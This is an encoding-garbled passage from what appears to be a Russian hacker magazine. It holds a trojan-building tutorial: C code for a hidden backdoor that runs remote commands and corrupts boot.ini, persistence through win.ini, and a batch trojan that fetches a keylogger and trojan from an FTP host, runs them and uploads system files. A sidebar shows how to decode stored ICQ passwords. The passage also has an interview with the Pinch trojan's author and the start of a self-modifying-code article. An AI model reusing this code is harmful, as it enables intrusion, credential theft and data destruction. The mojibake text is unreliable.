èñïîëüçîâàòü íå ïëàíèðóåòñÿ, ýòà
ôóíêöèÿ íå òðåáóåòñÿ: ïîëó÷èë ïàðî-
ëè � îòïðàâèë � ñàìîóíè÷òîæèëñÿ.
Äëÿ äîëãîèãðàþùåé çëî-ïðîãè ìîæíî
èñïîëüçîâàòü ôóíêöèè çàïèñè â ðå-
åñòð (RUN), à ìîæíî ïðîïèñàòü ôàéë
â win.ini èëè system.ini. Ñåãîäíÿ ìû
ïðåäïî÷òåì çàïèñü â *.ini, è, ÷òîáû
ôàéë çàãðóçèëñÿ ýòèì ñïîñîáîì, â
ñåêöèè [windows] äîñòàòî÷íî íàïè-
ñàòü run è ïîëíûé ïóòü ê ôàéëó, ÷òî
ìîæíî ïðîâåðíóòü ñ ïîìîùüþ îäíîé
ïðîñòîé ñèñòåìíîé êîìàíäû echo. Âû-
çûâàåì êîìàíäó «echo [windows] >
C:\Windows\win.ini» è «echo run
C:\Windows\system\trojan.exe». Ïðè
ýòîì äåëàåì ïðîâåðêó íà íàëè÷èå èõ,

èíà÷å íàø òðîÿí ñ êàæäûì ðàçîì áó-
äåò çàïóñêàòüñÿ âñå áîëüøå ðàç, ÷òî
íàì ñîâåðøåííî íå íóæíî. 

Ñ ñèñòåìíîé ÷àñòüþ çàêîí÷èëè, òå-
ïåðü ïðèñòóïèì ê ðàáîòå ñ ñîêåòàìè.

//Áóäåì èñïîëüçîâàòü TCP
SOCKET listet_Sock =

socket(AF_INET,SOCK_STREAM,0);
//Ïåðåìåííàÿ ñî ñâîéñòâàìè
SOCKADDR_IN addr_Sock;
addr_Sock.sin_family = AF_INET;
addr_Sock.sin_addr.s_addr = htonl(INAD-

DR_ANY);
//Ñëóøàåì íà ïîðòó 42448
addr_Sock.sin_port = htons(42448);

Äàëåå íàì íàäî êàê-òî ñîâìåñòèòü
ñâîéñòâà ñîêåòà (ïîðò è ò.ä.) ñ ñàìèì
ñîêåòîì. Ñäåëàòü ýòî ìîæíî òàê: 

if (bind(listet_Sock,(LPSOCKADDR)
addr_Sock, sizeof(struct sockaddr))) return 0; 

Òàêèì îáðàçîì, åñëè ïîðò óæå èñ-
ïîëüçóåòñÿ èëè âîçíèêëè äðóãèå
ïðîáëåìû ñ ñîêåòîì, «return 0» çàêðî-
åò ôóíêöèþ, êîòîðàÿ ðàáîòàåò ñ íèìè,
à ïîñêîëüêó îíà ó íàñ åäèíñòâåííàÿ,
áåäíÿãà ñåðâåð ïðîñòî ñêëåèòñÿ :).

Çàâåðøàþùèì àêêîðäîì áóäåò îòê-
ðûòèå ïîðòà:

if(listen(listet_Sock, 1)) return 0;

Çäåñü öèôðîé 1 îáîçíà÷åíî äîïóñ-
òèìîå êîëè÷åñòâî êîííåêòîâ. Áûâà-
åò, ñîåäèíåíèÿ çàâåðøàþòñÿ íåêîð-
ðåêòíî, íàïðèìåð, ïðè íåîæèäàííîì
îòêëþ÷åíèè îò èíòåðíåòà, è â ýòîì
ñëó÷àå ÷àñòî ñîçäàåòñÿ ñèòóàöèÿ,
÷òî ñåðâåð êàê áû ïîääåðæèâàåò
ïðîöåññ ñîåäèíåíèÿ, êîòîðîãî íåò, è
ïðè î÷åðåäíîé ïîïûòêå ïîäñîåäè-
íèòüñÿ � ýôôåêò èçâåñòåí ;). Âî èç-
áåæàíèå ýòîãî íàäî ââåñòè òàéì-àóò
íà ñîåäèíåíèå. Äàëåå íåîáõîäèìî
ïîçàáîòèòüñÿ î òîì, ÷òîáû êîìàíäû
ïðèíèìàëèñü ïîñòîÿííî è ÷òîáû
ñåðâåð ïîñëå èñïîëíåíèÿ ïîëó÷åí-
íîãî íå âûðóáàëñÿ, à îòïðàâëÿë íî-
âûé ñîêåò (îáçîâåì åãî new_sock),
äëÿ ÷åãî çàñóíåì ðàçðåøàþùóþ
êîííåêò ôóíêöèþ accept â òàê íàçû-
âàåìûé CommandLoop.

Ñàìîé óäîáíîé ñòðóêòóðîé êîìàí-
äû äëÿ ìíîãîçàäà÷íîãî òðîÿíà áó-
äåò òàêàÿ: «èìÿ_êîìàíäû ïàðàìåò-
ðû». Òàêèì îáðàçîì, äëÿ íà÷àëà íà-
äî îïðåäåëèòüñÿ, êàêèå êîìàíäû áó-
äåò âûïîëíÿòü íàø ñåðâåð. Äàâàé
óñëîâèìñÿ, ÷òî îí áóäåò âûïîëíÿòü
êîìàíäû cmd.exe, âûçûâàÿ åãî, è
çàïèñûâàòü â C:\boot.ini âñÿêóþ
÷óøü (äåñòðóêòèâíîå äåéñòâèå :)).
Ïóñòü íà÷àëîì êîìàíäû cmd.exe
«êîìàíäà» áóäåò «ñ», à ôóíêöèÿ
ïîð÷è boot.ini � çàâÿçàíà íà «f».
Äëÿ ïðèåìà íàì ïîíàäîáèòñÿ ñîç-
äàòü åùå îäíó ôóíêöèþ, íàçîâåì
åå recv (ñîêðàùåíèå îò recive), êîòî-
ðàÿ áóäåò ïðèíèìàòü êîìàíäû èç
new_sock è âûïîëíÿòü èõ. Â íåé ñîç-
äàäèì äâà áóôåðà: îäèí ðàçìåðîì 2
áàéòà, â êîòîðûé áóäåò çàïèñûâàòü-
ñÿ ïåðâûé ñèìâîë: c èëè f, è âòîðîé
ðàçìåðîì 126 áàéò, â êîòîðûé áóäåò
çàïèñûâàòüñÿ ïàðàìåòð ôóíêöèè.
Íàïðèìåð, åñëè ìû ïåðåäàäèì «ñ
notepad.exe», c çàïèøåòñÿ â áóôåð
1, ñðàâíèòñÿ ñ èìåþùèìèñÿ â íàëè-
÷èè îáîçíà÷åíèÿìè êîìàíä, îáíàðó-
æèòñÿ, ÷òî ýòî íå ÷òî èíîå, êàê çàï-
ðîñ íà âûïîëíåíèå êîìàíäû, çàïè-
ñàííîé â ñëåäóþùèõ 126 áàéòàõ, çà-
ïèñàííûõ â buff2[126] (êñòàòè, åñëè
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Ëþáàÿ
ïðîãðàììà
(íå îáÿçà-
òåëüíî òðî-
ÿí) äîëæíà
íåñòè â ñåáå
íîâèçíó, òî,
÷òî åå âû-
äåëèò ñðåäè
ìíîæåñòâà
äðóãèõ.

Äëÿ êîäèíãà
òðîÿíîâ
ïîäõîäèò
ïî÷òè ëþ-
áîé ÿçûê �
C, Delphi, VB.
Êñòàòè, êîä
íà ÷èñòîì
WinAPI � ýòî
õîðîøåå ðå-
øåíèå.

Äëÿ ëþáèòåëåé ICQ ïðèâåäåì ïðèìåð íà îñíîâå ïîïóëÿðíîãî
ICQ-êëèåíòà Trillian. Trillian õðàíèò ïàðîëè â *.ini-ôàéëàõ. Íàïðèìåð,
ïàðîëè îò AIM è ICQ õðàíÿòñÿ â ôàéëå aim.ini. Âèä ýòîãî ôàéëà ñëå-
äóþùèé:

[Èìÿ ïðîôèëÿ]
�
name=ICQ_uin
password=8216FD

Èç íàïèñàííîãî ïîíÿòíî, ÷òî çàïèñü, ñóäÿ ïî âñåìó, íàõîäèòñÿ â
HEX�e (íà ýòî óêàçûâàþò õàðàêòåðíûå äëÿ äàííîé ñèñòåìû ñ÷èñëå-
íèÿ F è D). Ïîïðîáóåì ïåðåâåñòè 82, 16, FD ïîïàðíî â äåñÿòè÷íûå
÷èñëà. Ïîëó÷àåì ÷èñëî 130. À òåïåðü âîñïîëüçóåìñÿ òàáëè÷êîé,
ïðèâåäåííîé íèæå. Â ïåðâîì ñòîëáöå - íîìåð ïàðû â õýøå (â íàøåì
ñëó÷àå 82 � ïåðâàÿ ïàðà), à âî âòîðîì - XOR (äëÿ ïî-
ëó÷èâøåãîñÿ ïîñëå ïåðåâîäà èç HEX�à ÷èñëà).
Èòàê, íà êàëüêóëÿòîðå (äîïóñòèì, ñòàíäàðòíîì âèí-
äîâîì) ó íàñ äåñÿòè÷íîå ÷èñëî 130, íàæèìàåì êíî-
ïî÷êó XOR, ïîòîì íàáèðàåì 243, äàâèì íà «=» è ïî-
ëó÷àåì 113. Ýòî íå ÷òî èíîå, êàê êîä ñèìâîëà «q».
Ïðîâåðèòü ýòî ìîæíî, îòêðûâ áëîêíîò, è, çàäåðæàâ
ALT, ââåñòè íà numpad�e ýòî ÷èñëî. Äëÿ 22 ìû ïîëó-
÷èëè 0. À äëÿ FD � «|».
Íàïèñàòü ïðîãðàììó, êîòîðàÿ äåêîäèðóåò òàêîé àë-
ãîðèòì, íå ñîñòàâèò òðóäà. Âîîáùå, â ñåòè åñòü ìíî-
æåñòâî áîëåå ïîäðîáíûõ îïèñàíèé àëãîðèòìîâ, à
ïîðîé äàæå è ãîòîâûõ äåêîäèðóþùèõ ìîäóëåé, íà-
ïèñàííûõ íà ðàçëè÷íûõ ÿçûêàõ ïðîãðàììèðîâàíèÿ.

ÐÀÑØÈÔÐÎÂÊÀ ÕÝØÅÉ ÏÀÐÎËÅÉ

1 243

2 38

3 129

4 196

5 57

6 134

7 219

8 146

9 113

10 163

11 185

12 230

13 83

14 122

15 149

16 124

À, ìîæåò, ê òåáå òîæå çàêðàëñÿ òðîÿí?



õâàòàòü íå áóäåò, òû ìîæåøü ðàñ-
øèðèòü áóôåð), è âûçîâåòñÿ êîìàí-
äà cmd.exe /c notepad.exe. Ïî ñóòè,
ñèñòåìíûå êîìàíäû âûçûâàþòñÿ òàê:
ShellExecuteA(NULL, "open",
"cmd.exe", buf2_cmd, NULL,
SW_HIDE). 

Ìîæíî áûëî ïðåíåáðå÷ü âûçîâîì
cmd.exe ñ ôëàãîì è âìåñòî cmd.exe
íàïèñàòü notepad, íî ïðåäëîæåí-
íûé ìíîé ïðèíöèï òåáå ïðèãîäèòñÿ
äëÿ íàïèñàíèÿ äàëüíåéøèõ ôóíê-
öèé (êàêèõ èìåííî, íåòðóäíî ïî-
íÿòü èç äðóãèõ ñòàòåé íîìåðà). Îñî-
áîå âíèìàíèå ñòîèò óäåëèòü ïàðà-
ìåòðó SW_HIDE: èìåííî îí ïîìîãà-
åò ñêðûòü îò ãëàç þçåðà äåéñòâèÿ
ïðîãðàììû (â äàííîì ñëó÷àå - îòê-
ðûòèå îêíà cmd.exe).

char type[2], buf2[126]; //ñîçäàåì áóôåð
while(true) {
SOCKET new_sock =

accept(listet_Sock,0,0); //ñëóøàåì
while(true) {
int i = recv(new_sock, type, 2, 0); //çàãîíÿ-

åì â öèêë
recv(new_sock, buf2, 126, 0); //ïðèíèìàåì

126 áàéò
if ((i== SOCKET_ERROR)||(i == 0)) break;

//åñëè îøèáêà - îòêëþ÷àåìñÿ
if (type[0] == 'f')

ShellExecuteA(NULL, "open", "cmd.exe","/C
echo Admin Lamer > C:\boot.ini",

NULL, SW_HIDE); //åñëè «f» - ïèøåì â
boot.ini Admin Lamer

// À åñëè «C» � âûïîëíÿåì êîìàíäó
if (type[0] == 'c') {
char buf2_cmd[129] = "/c ";

strcat(buf2_cmd,buf2);

ShellExecuteA(NULL, "open", "cmd.exe",
buf2_cmd, NULL, SW_HIDE);

}

shutdown(new_sock,1); //âûðóáàåì ñîêåò

closesocket(new_sock);
}

}

ÈÇÂÐÀÙÅÍÈß Ñ BATCH
Êîíå÷íî, batch íå èäåò íè â êàêîå

ñðàâíåíèÿ ñ bash, íî è íà íåì ìîæíî
ïèñàòü âïîëíå ôóíêöèîíàëüíûå âåùè.

Äåéñòâèå òðîÿíà, íàïèñàííîãî
íà batch, îñíîâûâàåòñÿ íà çàïóñ-
êå êîìàíä, òàêèõ, êàê ftp. Îïðåäå-

ëèìñÿ, ÷òî äîëæíî óìåòü íàøå
òâîðåíèå. Äëÿ íà÷àëà ìû íàó÷èì
åãî ñêà÷èâàòü ÷òî-ëèáî ñ íàøåãî
ftp-ñåðâåðà è óòàñêèâàòü êàêîé-
íèáóäü îïðåäåëåííûé ôàéë ñ çà-
ðàæåííîãî êîìïà, ïóñòü ýòî áóäåò
C:\boot.ini.
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echo open ftp.myhacksite.hs:21 > main.scn
rem Ýòèì ñàìûì ìû ñîçäàäèì ôàéë ñöåíàðèÿ äëÿ ftp, íàçûâàùèé-
ñÿ main.scn, è çàïèøåì â íåãî ïåðâóþ ñòðî÷êó, êîòîðàÿ äàñò êîìàí-
äó ftp � ïîäêîííåêòèòüñÿ ê ftp.myhacksite.hs íà 21-é ïîðò. Ïîðò 21
çàäàí ïî äåôîëòó, è åãî ìîæíî íå óêàçûâàòü, åñëè ftpd íà óäàëåí-
íîì ñåðâåðå îòêðûâàåò èìåííî åãî. Îáðàòè âíèìàíèå: «ftp://» ïè-
ñàòü íåëüçÿ!
echo user admin>>main.scn
rem Êîìàíäà user îçíà÷àåò èìÿ ïîëüçîâàòåëÿ, äàëåå çàïðîñèòñÿ
ïàðîëü. Ïðè ýòîì êîìàíäó ââîäèòü íå íàäî, ïðîñòî çàïèøåì ïà-
ðîëü.
echo admin>>main.scn
rem Ìû íàâåðíÿêà ñîáèðàåìñÿ çàëèâàòü ÷òî-íèáóäü íîâåíüêîå,
íàïðèìåð, íîâóþ âåðñèþ, êîòîðàÿ áóäåò áîëåå ôóíêöèîíàëüíà.
Äëÿ ýòîãî íàì ïîòðåáóåòñÿ çàëèâàòü áèíàðíûå ôàéëû (ïî óìîë÷à-
íèþ ñòîèò òèï ASCII). Óêàçûâàåì òèï, â íàøåì ñëó÷àå - binary. È íà
ýòîì íàïèñàíèå ñöåíàðèÿ çàâåðøèòñÿ.
echo binary>>main.scn
rem Óêàçûâàåì, ÷òî ìû áóäåì çàëèâàòü. Ó÷èòûâàåì òî, ÷òî ýòè ôàé-
ëû äîëæíû ëåæàòü â äîìàøíåé ftp-äèðåêòîðèè, êóäà ïîïàäàåò
ïîëüçîâàòåëü ïðè âõîäå. Åñëè æå òû íå ïîëó÷àåòñÿ ïèñàòü â home-
dir (îñîáåííî â ñëó÷àÿõ, êîãäà äîñòóï àíîíèìíûé è ñóùåñòâóåò ïàï-
êà incoming), íåîáõîäèìî âûïîëíèòü êîìàíäó «cd directory», à óæå
ïîòîì çàëèâàòü íàõîäÿùèåñÿ â íåé ôàéëû. 
echo get trojan1.exe>>main.scn
echo get keylog2.exe>>main.scn
rem Ïîïðîùàåìñÿ ñ ñåðâåðîì :), òî åñòü ïðîñòî ðàçîðâåì êîííåêò
ñïåöèàëüíîé êîìàíäîé «bye».
echo bye>>main.scn
rem Çàïóñêàåì ftp ñ ïàðàìåòðàìè äëÿ âûïîëíåíèÿ íàïèñàííîãî íà-
ìè ñöåíàðèÿ
ftp -s:main.scn �nd
rem Çàïóñêàåì ñêà÷àííûå ôàéëû
start trojan1.exe
start keylog2.exe
rem À òåïåðü òàùèì ôàéë C:\boot.ini ñ ïîìîùüþ âñå òîãî æå ftp. Ïè-
øåì íîâûé ñöåíàðèé èëè ïðîñòî äîáàâëÿåì ïàðó ñòðîê â ïðåäûäó-
ùèé.
echo open ftp.myhacksite.hs:21 > main-get.scn
echo user admin>>main-get.scn
echo admin>>main-get.scn
rem Òåêñòîâûå ôàéëû íàäî çàëèâàòü â ASCII mode, ïîýòîìó òèï íå
óêàçûâàåì, òàê êàê îí çàäàí, êàê óæå ãîâîðèëîñü, ïî äåôîëòó. 
rem Òóò íè÷åãî íå ìåíÿåòñÿ. Òåïåðü, ïðåäïîëîæèì, ó íàñ íåò äîñòó-
ïà íà çàïèñü â ãëàâíóþ äèðåêòîðèþ, íî òû ìîæåøü ïèñàòü â incom-
ing. Ïîýòîìó ïåðåéäåì â ýòó äèðåêòîðèþ.
cd incoming>>main-get.scn
rem À òåïåðü çàãðóæàåì ôàéë C:\Boot.ini. Äàëåå äåëàåì âñå ïî
ñòàíäàðòíîìó ñöåíàðèþ.
echo get c:\Boot.ini>>main-get.scn
echo bye>>main-get.scn
ftp -s:main-get.scn �nd

ÇËÎÁÍÛÉ BAT�ÍÈÊ � ÍÅÒ ÍÈ×ÅÃÎ ÏÐÎÙÅ!

Ìîäóëü trillion.asm ê Pinch-2

Èñïîëüçóé
ïîëó÷åííóþ
èç ñòàòüè
èíôîðìà-
öèþ òîëüêî
äëÿ îáðàçî-
âàòåëüíûõ
öåëåé.



Èòàê, ñîçäàåì ôàéë Troj.bat, îòêðûâà-
åì åãî íà ðåäàêòèðîâàíèå è âáèâàåì â
íåãî òî, ÷òî ìîæíî óâèäåòü âî âðåçêå.

Îòäåëüíîå âíèìàíèå ñòîèò óäåëèòü
"êîìïèëèðîâàíèþ" áàòíèêà. Òû óäèâ-
ëÿåøüñÿ, ÷òî ýòî âîçìîæíî? Â ñåòè
ñóùåñòâóåò ìíîæåñòâî ïðîãðàìì, ïîç-
âîëÿþùèõ ïðåâðàòèòü òåêñòîâûé
ôàéë ñöåíàðèÿ, íàïèñàííûé íà ÿçûêå
BATCH, â com-ôàéë. ßðêèì ïðèìåðîì
òàêîé ïðîãðàììû ÿâëÿåòñÿ bat2exec.
Ðàáîòà ñ íåé áàíàëüíî ïðîñòà:
bat2exe.com trojan.bat trojan.com. Ïîñ-
ëå ýòîé íåõèòðîé îïåðàöèè ïîÿâèòñÿ
ôàéë trojan.com. Äëÿ êðàñîòû ìîæíî
ìîæåøü ïåðåèìåíîâàòü .com â .exe:
ñìîòðèòñÿ ãîðàçäî ëó÷øå è ïðèâû÷-
íåå. Ïðàâäà, þçåð ñêîðåå óäàëèò exe
ôàéë, ÷åì com. Ïîëüçîâàòåëè, êîòî-
ðûå ôàíàòåþò îò MS-DOS èëè, íàîáî-
ðîò, âîîáùå íå çíàþò, ÷òî ýòî òàêîå,
ñ÷èòàþò com-ôàéëû ñèñòåìíûìè è áî-
ÿòñÿ èõ óäàëÿòü. E
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XXS: Êàê âîçíèêëà èäåÿ íàïèñàíèÿ òàêîãî òðîÿíà, êàê pinch?
C: Èçíà÷àëüíî pinch çàäóìûâàëñÿ äëÿ óëó÷øåíèÿ íàâûêîâ ïðîãðàì-
ìèíãà íà àñìå, è íå áûëî è ðå÷è î åãî ðàñïðîñòðàíåíèè, ïðîäàæå è
ò.ä. Íî ðåçóëüòàò ïðåâçîøåë âñå îæèäàíèÿ, ïðåæäå âñåãî ñâîèì
ðàçìåðîì è âîçìîæíîñòÿìè. Ýòî áûë îäèí èç ïåðâûõ òðîåâ (äà è ñåé-
÷àñ òàêèõ ïî ïàëüöàì ïåðåñ÷èòàòü), êîòîðûé âìåñòî ïàðîëåé ñëàë
õåøè, à âíåøíÿÿ ïðîãðàììà èõ äåêðèïòèëà è îôîðìëÿëà îò÷åò.
XXS: Êàê òû äóìàåøü, ïî÷åìó pinch îñòàåòñÿ îäíèì èç íàèáîëåå ïî-
ïóëÿðíûõ òðîÿíîâ?
C: Pinch ÿâëÿåòñÿ áåñïëàòíûì, äîñòóïíûì è ïðîñòûì â èñïîëüçîâà-
íèè, ñîäåðæèò ìíîæåñòâî ôóíêöèé ïðè ìèíèìàëüíîì ðàçìåðå ñåð-
âåðà.
XXS: Ïî÷åìó â îòëè÷èå îò äðóãèõ ðàçðàáîò÷èêîâ ïîäîáíîãî ñîôòà òû
âñå-òàêè âûëîæèë åãî èñõîäíèêè?
C: Ýòî ñâîåãî ðîäà ïðîïàãàíäà Àññåìáëåðà ñðåäè ðàçðàáîò÷èêîâ,
âåäü ýòîò ÿçûê ÿâëÿåòñÿ äàëåêî íå òàêèì ñëîæíûì, êàê ïðèíÿòî ñ÷è-
òàòü â ìàññàõ. Êíèã ïî àñìó ïîä Âèíäó ïðàêòè÷åñêè íå ñóùåñòâóåò, è
èñõîäíèêè ìîãóò ïîñëóæèòü áàçîé, òîë÷êîì â ìèð Àññåìáëåðà.
XXS: ×òî ïîñîâåòóåøü íà÷èíàþùåìó ïðîãðàììèñòó?
C: Ëþáàÿ ïðîãðàììà (íå îáÿçàòåëüíî òðîÿí) äîëæíà íåñòè â ñåáå
íîâèçíó, òî, ÷òî åå âûäåëèò ñðåäè ìíîæåñòâà äðóãèõ. Ìåíÿ óáèâà-
þò ñêðèïòêèäèñû, êîòîðûå ïîëíîñòüþ ñëèçûâàþò ÷åé-òî ïðîåêò ëè-
áî ñîáèðàþò âñå ìîäóëè ñâîåãî òðîÿíà èç èñõîäíèêîâ â èíåòå. ß
ñàì íå ïèøó âåñü êîä ñ íóëÿ: ÷òî-òî íàõîæó â èíòåðíåòå, ÷òî-òî äîñ-
òàþ ïî îáìåíó, íî áîëüøàÿ ÷àñòü íàïèñàíà èìåííî ìíîé.
XXS: Ïî÷åìó òû ïðåêðàòèë ðàáîòó íàä äàëüíåéøèì óñîâåðøåíñòâî-
âàíèåì LD.Pinch? 
C: Pinch èçíà÷àëüíî áûë íàïèñàí êðèâî, â íåì ìíîãî áàãîâ, ýòî áûë
îäèí èç ïåðâûõ ïðîåêòîâ íà àñìå. Âìåñòî óñîâåðøåíñòâîâàíèÿ ñòà-
ðîé âåðñèè ÿ âîò óæå îêîëî äâóõ ìåñÿöåâ ïèøó Pinch-2.
XXS: Êàêèå ïðîåêòû ïëàíèðóåøü íà áóäóùåå? Õîäÿò ñëóõè, ÷òî òû
ðàáîòàåøü â ritlabs. Õîòåëîñü áû óçíàòü, òàê ëè ýòî.
C: Â ritlabs ðàáîòàþò ðîäíûå ìíå ëþäè. Ñåé÷àñ â ðàçðàáîòêå íàõî-
äèòñÿ pinch-2, ñàéò ïðîåêòà ñ äîñòóïíîé äëÿ ñêà÷èâàíèÿ àëüôà-
âåðñèåé - http://pinch.ccteam.ru.

COBAN � ÑÎÇÄÀÒÅËÜ ÍÅÁÅÇÛÇÂÅÑÒÍÎÃÎ ÒÐÎßÍÀ
LD.PINCH.

XXS: ×òî âû äóìàåòå î âèðóñàõ ïîä .NET-òåõíîëîãèþ? Âåäü ìóëü-
òèïëàòôîðìåííîñòü òîëüêî óñóãóáèò ñèòóàöèþ.
MS: Âèðóñû - ýòî ïðîãðàììû, êîòîðûå ìîãóò ñàìîñòîÿòåëüíî ðàçì-
íîæàòüñÿ áåç âåäîìà ïîëüçîâàòåëÿ. .NET Framework èìååò áîëü-
øîå êîëè÷åñòâî ñïåöèàëüíûõ âîçìîæíîñòåé, êîòîðûå ïðåïÿòñòâó-
þò ñîçäàíèþ ïîäîáíîãî êîäà. Áîëüøèíñòâî ñîâðåìåííûõ âèðóñîâ
ñêîðåå îïèðàþòñÿ íà ÷åëîâå÷åñêèé ôàêòîð è ìåòîäèêè ñîöèàëü-
íîé èíæåíåðèè äëÿ ðàçìíîæåíèÿ, ÷åì íà êàêèå-ëèáî óÿçâèìîñòè â
òåõ èëè èíûõ ÎÑ. 
XXS: Áîðåòñÿ ëè êàê-òî Microsoft ñ ñîçäàòåëÿìè âèðóñîâ?
MS: Ñîçäàíèå âèðóñîâ - óãîëîâíîå ïðåñòóïëåíèå â ÑØÀ, Ðîññèè è
ìíîãèõ äðóãèõ ñòðàíàõ ìèðà. Microsoft ñîòðóäíè÷àåò ñ ñîîòâåò-
ñòâóþùèìè îðãàíàìè â ðàçíûõ ñòðàíàõ äëÿ ïðåäîòâðàùåíèÿ ïðî-
òèâîïðàâíûõ äåéñòâèé è îêàçûâàåò ñîäåéñòâèå â ïîèñêå ïðåñòóï-
íèêîâ. Â òîì ÷èñëå äëÿ ýòèõ öåëåé ñîçäàí ñïåöèàëüíûé ïðåìèàëü-
íûé ôîíä, èç êîòîðîãî âûïëà÷èâàþòñÿ çíà÷èòåëüíûå ñóììû çà ïî-
èìêó àâòîðîâ âèðóñîâ.

ÌÍÅÍÈÅ MICROSOFT

Pinch-2 â äåéñòâèè

Ïðèëîæåíèå äëÿ óïðîùåíèÿ êîìïèëÿöèè Pinch íàïèñàíî íà

BATCH



Êðèñ Êàñïåðñêè

Ñ àìîìîäèôèöèðóþùèéñÿ êîä âñòðå÷àåòñÿ â âèðóñàõ, çàùèòíûõ ìåõàíèçìàõ, ñåòåâûõ ÷åðâÿõ, êðÿêñèìàõ è ïðî÷èõ
ïðîãðàììàõ ïîäîáíîãî òèïà. È õîòÿ òåõíèêà åãî ñîçäàíèÿ íå ïðåäñòàâëÿåò áîëüøîãî ñåêðåòà, êà÷åñòâåííûõ

ðåàëèçàöèé ñ êàæäûì ãîäîì ñòàíîâèòñÿ âñå ìåíüøå è ìåíüøå.

ÍÅÌÎÉ ÓÊÎÐ 
ÇÀ ÊÎÌÏÜÞÒÅÐÍÛÉ
ÕÀÐÄÊÎÐ
ÎÑÍÎÂÛ ÑÀÌÎÌÎÄÈÔÈÊÀÖÈÈ È ÑÀÌÎÎÁÍÎÂËÅÍÈß ÊÎÄÀ

êóòàííûé ìðàêîì òàé-
íû, îêðóæåííûé íåâî-
îáðàçèìûì êîëè÷åñò-
âîì ìèôîâ, çàãàäîê è
ëåãåíä, ñàìîìîäèôèöè-

ðóþùèéñÿ êîä ïîñòåïåííî óõîäèò â
ïðîøëîå. Ðàñöâåò ýïîõè ñàìîìîäèôè-
êàöèè óæå ïîçàäè. Âî âðåìåíà íåèíòå-
ðàêòèâíûõ îòëàä÷èêîâ òèïà debug.com
è ïàêåòíûõ äèçàññåìáëåðîâ òèïà
Sourcer ñàìîìîäèôèêàöèÿ äåéñòâè-
òåëüíî ñåðüåçíî çàòðóäíÿëà àíàëèç,
îäíàêî ñ ïîÿâëåíèåì IDA PRO è
Turbo-Debugger âñå èçìåíèëîñü.

Ñàìîìîäèôèêàöèÿ íå ïðåïÿòñòâóåò
òðàññèðîâêå, è äëÿ îòëàä÷èêà îíà ïîë-
íîñòüþ ïðîçðà÷íà. Ñî ñòàòè÷åñêèì
àíàëèçîì äåëà îáñòîÿò íåñêîëüêî
ñëîæíåå. Äèçàññåìáëåð îòîáðàæàåò
ïðîãðàììó â òîì âèäå, â êîòîðîì îíà
áûëà ïîëó÷åíà íà ìîìåíò ñíÿòèÿ äàì-
ïà èëè çàãðóçêè èñõîäíîãî ôàéëà, ðàñ-
ñ÷èòûâàÿ íà òî, ÷òî íè îäíà èç ìàøèí-
íûõ êîìàíä íå ïðåòåðïèò èçìåíåíèé â
õîäå ñâîåãî âûïîëíåíèÿ. Â ïðîòèâíîì
ñëó÷àå ðåêîíñòðóêöèÿ àëãîðèòìà áó-
äåò âûïîëíåíà íåâåðíî, è õàêåðñêèé
êîðàáëü ïðè ñïóñêå íà âîäó äàñò êî-
ëîññàëüíóþ òå÷ü. Îäíàêî, åñëè ôàêò

ñàìîìîäèôèêàöèè áóäåò îáíàðóæåí,
ñêîððåêòèðîâàòü äèçàññåìáëåðíûé
ëèñòèíã íå ñîñòàâèò áîëüøîãî òðóäà.

Äàâàé âçãëÿíåì íà ïðèìåð ñ ðèñ. 1.
Ïðîàíàëèçèðóåì âûäåëåííûå ñòðîêè.
Ñíà÷àëà ïðîãðàììà îáíóëÿåò ðåãèñòð
EAX, óñòàíàâëèâàÿ ôëàã íóëÿ, à çà-
òåì, åñëè îí âçâåäåí (à îí âçâåäåí!),
ïåðåõîäèò ê ìåòêå fack_away. Íà ñà-
ìîì æå äåëå, âñå ïðîèñõîäèò ñ òî÷-
íîñòüþ äî íàîáîðîò. Ìû óïóñòèëè îä-
íó äåòàëü. Êîíñòðóêöèÿ "INC BYTE
PRT DS:[FACK_ME]" èíâåðòèðóåò êî-
ìàíäó óñëîâíîãî ïåðåõîäà, è âìåñòî
ìåòêè fack_away óïðàâëåíèå ïîëó÷àåò
ïðîöåäóðà protect_proc. Áëåñòÿùèé
çàùèòíûé ïðèìåð, íå ïðàâäà ëè? 

À ÷òî åñëè ðàñïîëîæèòü ýòó èíñòðóê-
öèþ ñîâñåì â äðóãîé âåòêå ïðîãðàì-
ìû, ïîäàëüøå îò ìîäèôèöèðóåìîãî
êîäà? Ñ äðóãèì äèçàññåìáëåðîì òàêîé
ôîêóñ, ìîæåò áûòü, è ïðîêàòèò, íî
òîëüêî íå ñ IDA PRO! Âçãëÿíè íà àâ-
òîìàòè÷åñêè ñîçäàííóþ åé ïåðåêðåñò-

íóþ ññûëêó, âåäóùóþ íåïîñðåäñòâåí-
íî ê ñòðîêå "INC BYTE PTR
LOC_40100F" (ðèñ. 2).

Ñàìîìîäèôèêàöèÿ â ÷èñòîì âèäå
íè÷åãî íå ðåøàåò, è, åñëè íå ïðåäïðè-
íÿòü äîïîëíèòåëüíûõ çàùèòíûõ ìåð,
åå ó÷àñòü ïðåäðåøåíà. Ëó÷øå âñåãî
ïîìîæåò â áîðüáå ñ ïåðåêðåñòíûìè
ññûëêàìè ó÷åáíèê ïî ìàòåìàòèêå çà
ïåðâûé êëàññ, êðîìå øóòîê! Ïðîñòåé-
øèå àðèôìåòè÷åñêèå îïåðàöèè ñ óêà-
çàòåëÿìè îñëåïëÿþò àâòîìàòè÷åñêèé
àíàëèçàòîð IDA PRO, è ïåðåêðåñòíûå
ññûëêè áüþò ìèìî öåëè. Îáíîâëåííûé
âàðèàíò ñàìîìîäèôèöèðóþùåãîñÿ êî-
äà ìîæåò âûãëÿäåòü, êàê íà ðèñ. 3.

×òî çäåñü ïðîèñõîäèò? Ïåðâûì äå-
ëîì â ðåãèñòð EAX çàãðóæàåòñÿ ñìå-
ùåíèå ìîäèôèöèðóåìîé êîìàíäû,
óâåëè÷åííîå íà íåêîòîðóþ âåëè÷èíó
(óñëîâèìñÿ íàçûâàòü åå äåëüòîé).
Âàæíî ïîíÿòü, ÷òî ýòè âû÷èñëåíèÿ
âûïîëíÿþòñÿ òðàíñëÿòîðîì åùå íà
ñòàäèè àññåìáëèðîâàíèÿ è â ìàøèí-
íûé êîä ïîïàäàåò òîëüêî êîíå÷íûé
ðåçóëüòàò. Çàòåì èç ðåãèñòðà EAX âû-
÷èòàåòñÿ äåëüòà, êîððåêòèðóþùàÿ
"ïðèöåë" è íàöåëèâàþùàÿ EAX íåïîñ-
ðåäñòâåííî íà ìîäèôèöèðóåìûé êîä.
Ïðè óñëîâèè ÷òî äèçàññåìáëåð íå ñî-
äåðæèò â ñåáå ýìóëÿòîðà ÖÏ è íå
òðàññèðóåò óêàçàòåëè (à IDA PRO íå
